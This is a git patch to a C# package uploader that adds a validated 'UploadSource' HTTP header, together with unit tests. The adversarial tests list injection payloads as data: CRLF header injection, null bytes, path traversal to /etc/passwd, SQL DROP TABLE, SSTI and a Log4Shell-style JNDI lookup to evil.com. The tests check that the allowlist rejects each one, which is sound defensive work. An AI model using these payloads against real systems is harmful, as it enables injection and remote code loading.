From 7c656a005b89cd1a534fc6cc5dfe79b127fb39ca Mon Sep 17 00:00:00 2001 From: Rafael Hinojosa Lopez Date: Tue, 12 May 2026 19:42:09 -0600 Subject: [PATCH] Add UploadSource header to Partner Center Ingestion API requests Identifies the calling tool ("PackageUploader") via an allowlisted HTTP header on every Partner Center request. Validated by a case-insensitive allowlist with silent fallback to the default value. --- .../PackageUploaderServiceTest.cs | 309 +++++++++++++++++- .../Client/Ingestion/Client/HttpRestClient.cs | 6 +- .../Ingestion/Client/UploadSourceConfig.cs | 33 ++ .../Client/Ingestion/IngestionHttpClient.cs | 2 +- .../PackageUploaderExtensions.cs | 5 +- 5 files changed, 351 insertions(+), 4 deletions(-) create mode 100644 src/PackageUploader.ClientApi/Client/Ingestion/Client/UploadSourceConfig.cs diff --git a/src/PackageUploader.ClientApi.Test/PackageUploaderServiceTest.cs b/src/PackageUploader.ClientApi.Test/PackageUploaderServiceTest.cs index c285b535..b3df3b5b 100644 --- a/src/PackageUploader.ClientApi.Test/PackageUploaderServiceTest.cs +++ b/src/PackageUploader.ClientApi.Test/PackageUploaderServiceTest.cs @@ -9,6 +9,7 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; using Moq; using System; +using System.Linq; using System.Net; using System.Net.Http; using System.Threading; @@ -96,9 +97,315 @@ public void Initialize() .ReturnsAsync(() => new HttpResponseMessage(HttpStatusCode.OK) { Content = JsonContent.Create(_movedPackage) }); var loggerIngestionClient = new NullLogger(); - _ingestionClient = new IngestionHttpClient(loggerIngestionClient, httpClient.Object, null); + _ingestionClient = new IngestionHttpClient(loggerIngestionClient, httpClient.Object, null, null); } + [TestMethod] + public void UploadSourceHeader_DefaultsToPackageUploader_WhenConfigIsNull() + { + // IngestionHttpClient constructed with null UploadSourceConfig should default to "PackageUploader" + HttpRequestMessage capturedRequest = null; + + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + var client = new IngestionHttpClient(logger, httpClient, null, null); + + // Act — make any request to trigger CreateJsonRequestMessage + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { /* ignore deserialization issues */ } + + // Assert + Assert.IsNotNull(capturedRequest, "No HTTP request was captured"); + Assert.IsTrue(capturedRequest.Headers.Contains("UploadSource"), "UploadSource header is missing"); + var values = capturedRequest.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual(1, values.Length); + Assert.AreEqual("PackageUploader", values[0]); + } + + [TestMethod] + public void UploadSourceHeader_UsesConfigValue_WhenProvided() + { + HttpRequestMessage capturedRequest = null; + + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + var config = new UploadSourceConfig { UploadSource = "PackageUploader" }; + var client = new IngestionHttpClient(logger, httpClient, null, config); + + // Act + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { } + + // Assert + Assert.IsNotNull(capturedRequest); + var values = capturedRequest.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual("PackageUploader", values[0]); + } + + [TestMethod] + public void UploadSourceHeader_DefaultsToPackageUploader_WhenConfigValueEmpty() + { + HttpRequestMessage capturedRequest = null; + + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + var config = new UploadSourceConfig { UploadSource = "" }; + var client = new IngestionHttpClient(logger, httpClient, null, config); + + // Act + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { } + + // Assert + Assert.IsNotNull(capturedRequest); + var values = capturedRequest.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual("PackageUploader", values[0], "Empty UploadSource should fall back to default"); + } + + [TestMethod] + public void UploadSourceHeader_RejectsUnknownValue_FallsBackToDefault() + { + HttpRequestMessage capturedRequest = null; + + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + // "EvilSource" is not in the allowlist — should fall back to "PackageUploader" + var config = new UploadSourceConfig { UploadSource = "EvilSource" }; + var client = new IngestionHttpClient(logger, httpClient, null, config); + + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { } + + Assert.IsNotNull(capturedRequest); + var values = capturedRequest.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual("PackageUploader", values[0], "Unknown UploadSource should fall back to default"); + } + + [TestMethod] + public void UploadSourceHeader_TrimsWhitespace() + { + HttpRequestMessage capturedRequest = null; + + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + var config = new UploadSourceConfig { UploadSource = " PackageUploader " }; + var client = new IngestionHttpClient(logger, httpClient, null, config); + + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { } + + Assert.IsNotNull(capturedRequest); + var values = capturedRequest.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual("PackageUploader", values[0], "Whitespace should be trimmed from UploadSource"); + } + + + #region Adversarial UploadSource Tests + + // Utility: builds an IngestionHttpClient and makes a request, returning the captured HttpRequestMessage + private HttpRequestMessage MakeRequestWithUploadSource(string uploadSourceValue) + { + HttpRequestMessage capturedRequest = null; + var handler = new Mock(); + handler.Protected() + .Setup>("SendAsync", + ItExpr.IsAny(), + ItExpr.IsAny()) + .Callback((req, _) => capturedRequest = req) + .ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK) + { + Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId }) + }); + + var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") }; + var logger = new NullLogger(); + var config = uploadSourceValue == null ? null : new UploadSourceConfig { UploadSource = uploadSourceValue }; + var client = new IngestionHttpClient(logger, httpClient, null, config); + + try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { } + return capturedRequest; + } + + private static string GetUploadSourceValue(HttpRequestMessage request) => + request.Headers.GetValues("UploadSource").First(); + + private static string EscapeForDisplay(string s) => + s?.Replace("\r", "\\r").Replace("\n", "\\n").Replace("\0", "\\0") ?? "(null)"; + + [TestMethod] + [DataRow("\r\nX-Injected: evil", DisplayName = "CRLF injection")] + [DataRow("PackageUploader\r\nX-Evil: hacked", DisplayName = "CRLF after valid value")] + [DataRow("\nX-Injected: evil", DisplayName = "LF-only injection")] + [DataRow("PackageUploader\n", DisplayName = "Trailing newline after valid")] + [DataRow("\r\n\r\nevil", DisplayName = "CRLF double to inject body")] + public void Adversarial_CrlfInjection_FallsBackToDefault(string maliciousValue) + { + var request = MakeRequestWithUploadSource(maliciousValue); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request), + $"CRLF injection '{EscapeForDisplay(maliciousValue)}' must be rejected"); + } + + [TestMethod] + [DataRow("PackageUploader\0evil", DisplayName = "Null byte after valid value")] + [DataRow("\0XGPM", DisplayName = "Null byte before valid value")] + [DataRow("Package\0Uploader", DisplayName = "Null byte in middle")] + public void Adversarial_NullByteInjection_FallsBackToDefault(string maliciousValue) + { + var request = MakeRequestWithUploadSource(maliciousValue); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request), + "Null byte injection must be rejected"); + } + + [TestMethod] + [DataRow("PACKAGEUPLOADER", DisplayName = "All caps")] + [DataRow("packageuploader", DisplayName = "All lowercase")] + [DataRow("PaCkAgEuPlOaDeR", DisplayName = "Random case")] + public void Adversarial_CaseVariations_AcceptedByAllowlist(string caseVariant) + { + var request = MakeRequestWithUploadSource(caseVariant); + Assert.IsNotNull(request); + Assert.AreEqual(caseVariant, GetUploadSourceValue(request), + $"Case variant '{caseVariant}' should be accepted (OrdinalIgnoreCase)"); + } + + [TestMethod] + [DataRow("XGPM", DisplayName = "XGPM not in allowlist")] + [DataRow("xgpm", DisplayName = "XGPM lowercase not in allowlist")] + [DataRow("PackageUploader2", DisplayName = "Suffix digit")] + [DataRow("XPackageUploader", DisplayName = "Prefix char")] + [DataRow("XGPM_Extended", DisplayName = "Underscore extension")] + [DataRow("PackageUploader XGPM", DisplayName = "Both values concatenated")] + [DataRow("NotARealSource", DisplayName = "Arbitrary string")] + [DataRow("admin", DisplayName = "Common privilege keyword")] + [DataRow("../../../etc/passwd", DisplayName = "Path traversal")] + [DataRow("", DisplayName = "XSS payload")] + [DataRow("'; DROP TABLE uploads; --", DisplayName = "SQL injection")] + [DataRow("{{7*7}}", DisplayName = "SSTI template injection")] + [DataRow("${jndi:ldap://evil.com/a}", DisplayName = "Log4Shell-style")] + public void Adversarial_InvalidValues_FallBackToDefault(string invalidValue) + { + var request = MakeRequestWithUploadSource(invalidValue); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request), + $"Invalid value '{invalidValue}' must be rejected"); + } + + [TestMethod] + [DataRow("PackageUploader ", DisplayName = "Trailing space")] + [DataRow(" PackageUploader", DisplayName = "Leading space")] + [DataRow("\tPackageUploader", DisplayName = "Leading tab")] + [DataRow(" PackageUploader\t\t", DisplayName = "Mixed whitespace")] + public void Adversarial_WhitespacePadding_TrimsAndAccepts(string paddedValue) + { + var request = MakeRequestWithUploadSource(paddedValue); + Assert.IsNotNull(request); + Assert.AreEqual(paddedValue.Trim(), GetUploadSourceValue(request), + "Whitespace-padded valid values should be trimmed and accepted"); + } + + [TestMethod] + [DataRow("Pаckageuploader", DisplayName = "Cyrillic 'а' (U+0430) instead of Latin 'a'")] + [DataRow("ХGPM", DisplayName = "Cyrillic 'Х' (U+0425) instead of Latin 'X'")] + [DataRow("Package\u200BUploader", DisplayName = "Zero-width space in middle")] + [DataRow("\uFEFFPackageUploader", DisplayName = "BOM prefix")] + [DataRow("PackageUploader\u200D", DisplayName = "Zero-width joiner suffix")] + public void Adversarial_HomoglyphAndUnicode_FallsBackToDefault(string unicodeAttack) + { + var request = MakeRequestWithUploadSource(unicodeAttack); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request), + $"Unicode homoglyph/invisible char attack must be rejected"); + } + + [TestMethod] + public void Adversarial_VeryLongString_FallsBackToDefault() + { + var request = MakeRequestWithUploadSource(new string('A', 10_000)); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request), + "10K-char string must be rejected by allowlist"); + } + + [TestMethod] + public void Adversarial_ExactlyOneHeaderValue_NoDuplication() + { + var request = MakeRequestWithUploadSource(null); // default path + Assert.IsNotNull(request); + var values = request.Headers.GetValues("UploadSource").ToArray(); + Assert.AreEqual(1, values.Length, "UploadSource header must appear exactly once"); + Assert.AreEqual("PackageUploader", values[0]); + } + + [TestMethod] + public void Adversarial_EmptyString_FallsBackToDefault() + { + var request = MakeRequestWithUploadSource(""); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request)); + } + + [TestMethod] + public void Adversarial_WhitespaceOnly_FallsBackToDefault() + { + var request = MakeRequestWithUploadSource(" \t\t "); + Assert.IsNotNull(request); + Assert.AreEqual("PackageUploader", GetUploadSourceValue(request)); + } + + #endregion + [TestMethod] public async Task GetProductByProductIdTest() { diff --git a/src/PackageUploader.ClientApi/Client/Ingestion/Client/HttpRestClient.cs b/src/PackageUploader.ClientApi/Client/Ingestion/Client/HttpRestClient.cs index f287beda..756c403c 100644 --- a/src/PackageUploader.ClientApi/Client/Ingestion/Client/HttpRestClient.cs +++ b/src/PackageUploader.ClientApi/Client/Ingestion/Client/HttpRestClient.cs @@ -31,12 +31,15 @@ internal abstract class HttpRestClient : IHttpRestClient private static readonly MediaTypeHeaderValue JsonMediaTypeHeaderValue = new (MediaTypeNames.Application.Json); private const LogLevel VerboseLogLevel = LogLevel.Trace; private readonly string _sdkVersion; + private readonly string _uploadSource; - protected HttpRestClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion) + protected HttpRestClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion, UploadSourceConfig uploadSourceConfig) { _logger = logger ?? throw new ArgumentNullException(nameof(logger)); _httpClient = httpClient ?? throw new ArgumentNullException(nameof(httpClient)); _sdkVersion = ingestionSdkVersion?.SdkVersion ?? "SDK-V1.0.0"; + var candidateSource = uploadSourceConfig?.UploadSource?.Trim(); + _uploadSource = UploadSourceConfig.IsAllowedValue(candidateSource) ? candidateSource! : UploadSourceConfig.PackageUploaderSource; } public async Task GetAsync(string subUrl, JsonTypeInfo jsonTypeInfo, CancellationToken ct) @@ -202,6 +205,7 @@ private HttpRequestMessage CreateJsonRequestMessage(HttpMethod method, string } request.Headers.Add("Request-ID", Guid.NewGuid().ToString()); request.Headers.Add("MethodOfAccess", _sdkVersion); + request.Headers.Add("UploadSource", _uploadSource); if (customHeaders is not null && customHeaders.Any()) { diff --git a/src/PackageUploader.ClientApi/Client/Ingestion/Client/UploadSourceConfig.cs b/src/PackageUploader.ClientApi/Client/Ingestion/Client/UploadSourceConfig.cs new file mode 100644 index 00000000..5120411f --- /dev/null +++ b/src/PackageUploader.ClientApi/Client/Ingestion/Client/UploadSourceConfig.cs @@ -0,0 +1,33 @@ +// Copyright (c) Microsoft Corporation. +// Licensed under the MIT License. + +using System; +using System.Collections.Generic; + +namespace PackageUploader.ClientApi.Client.Ingestion.Client; + +/// +/// Configuration for the UploadSource HTTP header sent with every Partner Center Ingestion API request. +/// This header identifies which tool originated the request, enabling server-side telemetry and diagnostics. +/// The header value is validated against a case-insensitive allowlist. Any value not in the allowlist +/// silently falls back to "PackageUploader". This prevents arbitrary or malicious values from being sent on the wire. +/// Injected into IngestionHttpClient → HttpRestClient, which adds the header in CreateJsonRequestMessage(). +/// +internal class UploadSourceConfig +{ + /// Default header value used by the Package Uploader CLI. + public const string PackageUploaderSource = "PackageUploader"; + + /// Case-insensitive set of permitted UploadSource values. + private static readonly HashSet AllowedValues = new(StringComparer.OrdinalIgnoreCase) + { + PackageUploaderSource, + }; + + /// The UploadSource value to send. Defaults to PackageUploaderSource. + public string UploadSource { get; init; } = PackageUploaderSource; + + /// Returns true if value is a non-empty, allowlisted upload source. + public static bool IsAllowedValue(string value) => + !string.IsNullOrWhiteSpace(value) && AllowedValues.Contains(value.Trim()); +} diff --git a/src/PackageUploader.ClientApi/Client/Ingestion/IngestionHttpClient.cs b/src/PackageUploader.ClientApi/Client/Ingestion/IngestionHttpClient.cs index cc130d96..70469463 100644 --- a/src/PackageUploader.ClientApi/Client/Ingestion/IngestionHttpClient.cs +++ b/src/PackageUploader.ClientApi/Client/Ingestion/IngestionHttpClient.cs @@ -25,7 +25,7 @@ internal sealed class IngestionHttpClient : HttpRestClient, IIngestionHttpClient { private readonly ILogger _logger; - public IngestionHttpClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion) : base(logger, httpClient, ingestionSdkVersion) + public IngestionHttpClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion, UploadSourceConfig uploadSourceConfig) : base(logger, httpClient, ingestionSdkVersion, uploadSourceConfig) { _logger = logger ?? throw new ArgumentNullException(nameof(logger)); } diff --git a/src/PackageUploader.ClientApi/PackageUploaderExtensions.cs b/src/PackageUploader.ClientApi/PackageUploaderExtensions.cs index ddcfd6e6..c76750e7 100644 --- a/src/PackageUploader.ClientApi/PackageUploaderExtensions.cs +++ b/src/PackageUploader.ClientApi/PackageUploaderExtensions.cs @@ -2,6 +2,7 @@ // Licensed under the MIT License. using PackageUploader.ClientApi.Client.Ingestion; +using PackageUploader.ClientApi.Client.Ingestion.Client; using PackageUploader.ClientApi.Client.Ingestion.TokenProvider; using PackageUploader.ClientApi.Client.Xfus; using Microsoft.Extensions.DependencyInjection; @@ -27,8 +28,10 @@ public enum AuthenticationMethod } public static IServiceCollection AddPackageUploaderService(this IServiceCollection services, - AuthenticationMethod authenticationMethod = AuthenticationMethod.Default) => + AuthenticationMethod authenticationMethod = AuthenticationMethod.Default, + string uploadSource = UploadSourceConfig.PackageUploaderSource) => services + .AddSingleton(new UploadSourceConfig { UploadSource = uploadSource }) .AddScoped() .AddScoped() .AddIngestionService()